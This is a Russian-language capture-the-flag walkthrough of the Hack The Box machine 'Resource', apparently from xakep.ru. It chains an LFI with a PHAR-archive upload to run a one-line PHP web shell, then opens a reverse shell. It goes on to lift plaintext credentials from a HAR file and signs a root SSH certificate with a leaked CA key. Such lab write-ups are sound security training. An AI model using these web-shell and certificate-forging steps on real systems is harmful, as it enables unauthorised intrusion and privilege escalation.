Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня я покажу, как получив корневой сертификат, подписать SSH-ключ и повысить привилегии. При эскалации привилегий проэксплуатируем уязвимость в пользовательском скрипте на Bash. Но первым делом нам понадобится атаковать сайт — мы получим удаленное выполнение кода через связку LFI и PHAR upload.
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень ее сложности — «средняя».
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.27 resource.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел три открытых порта:
На порте 80 выполняется редирект на адрес http://itrc.ssg.htb
, поэтому обновим запись в файле /etc/hosts
, а затем просмотрим сайт через браузер.
10.10.11.27 resource.htb itrc.ssg.htb
Главная страница сайта
На сайте есть возможность регистрации и авторизации. Сделаем это, так как авторизованному пользователю обычно доступно больше функций, а значит и точек для атаки будет больше.
Главная страница авторизованного пользователя
На странице dashboard
есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде dirsearch, dirb или ffuf. Я предпочитаю feroxbuster.
При запуске используем следующие параметры:
-u
— URL; -w
— словарь (я использую словари из набора Seclists); -t
— количество потоков; -d
— глубина сканирования. Задаем все параметры и запускаем сканирование:
feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128
Результат сканирования файлов с помощью feroxbuster
Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.php
, а мы получали доступ к странице через index.php?page=dashboard
. Видимо, к параметру page
автоматически добавляется расширение php
. Попробуем таким же образом просмотреть страницу admin.php
.
Содержимое страницы admin
Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /api/login.php
видим ошибку, раскрывающую путь к файлам на сервере.
Ошибка при загрузке /api/login.php
Перейдем к созданию тикета. Во вложении загрузим рандомный ZIP-архив.
Создание тикета
Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.
Список тикетов
Информация о тикете
Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads
с измененным именем.
Ссылка на архив.
Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar://
.
Заархивируем файл shell.php
, загрузим архив на сервер и получим путь к нему на сервере.
<?php system($_GET['cmd']); ?>
Загруженный архив
Осталось обратиться к шеллу и в качестве теста выполнить команду id
.
http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id
Результат выполнения команды id
Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs -lp 4321
и выполняем реверс‑шелл.
Сессия пользователя www-data
На хосте развернуто веб‑приложение, и оно наверняка использует базу данных. В таких случаях в базе можно найти учетные данные для сайта, которые могут пригодиться для дальнейшего проникновения. Данные для подключения к самой базе обычно находятся в коде или настройках веб‑приложения.
В данном случае учетку для базы находим в файле db.php
.
Содержимое файла db.php
Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов в каталоге uploads
можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.
Загрузка архивов из каталога uploads
Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.
Содержимое архивов
В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле встроки вроде user
, pass
, token
и тому подобные. И находим учетные данные, сохраненные в открытом виде.
Содержимое файла HAR
С полученными учетными подключаемся по SSH от имени пользователя msainristill
.
Пользователь msainristill
В домашнем каталоге пользователя root есть каталог decommission_old_ca
с ключами центра сертификации.
Содержимое каталога decommission_old_ca
Закрытый ключ центра сертификации ca-itrc
используются для подписи сертификатов. Публичный ключ ca-itrc.pub
используется для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.
Первым делом сгенерируем пару SSH ключей.
ssh-keygen -t rsa -b 2048 -f ralf
Генерация пары SSH ключей
Теперь с помощью ключей центра сертификации на основе публичного SSH ключа ralf.pub
сделаем сертификат SSH для логина root
. Сразу можно проверить новый сертификат ralf-cert.pub
.
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub
Создание SSH сертификатаssh-keygen -Lf ralf-cert.pub
Информация из сертификата
Со сгенерированным сертификатом SSH сертификат и закрытым ключом пользователя получаем доступ от имени root
.
ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost
Флаг пользователя
В домашнем каталоге пользователя zzinter
есть скрипт sign_key_api.sh
.
Содержимое домашнего каталога пользователя
Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).
Источник: xakep.ru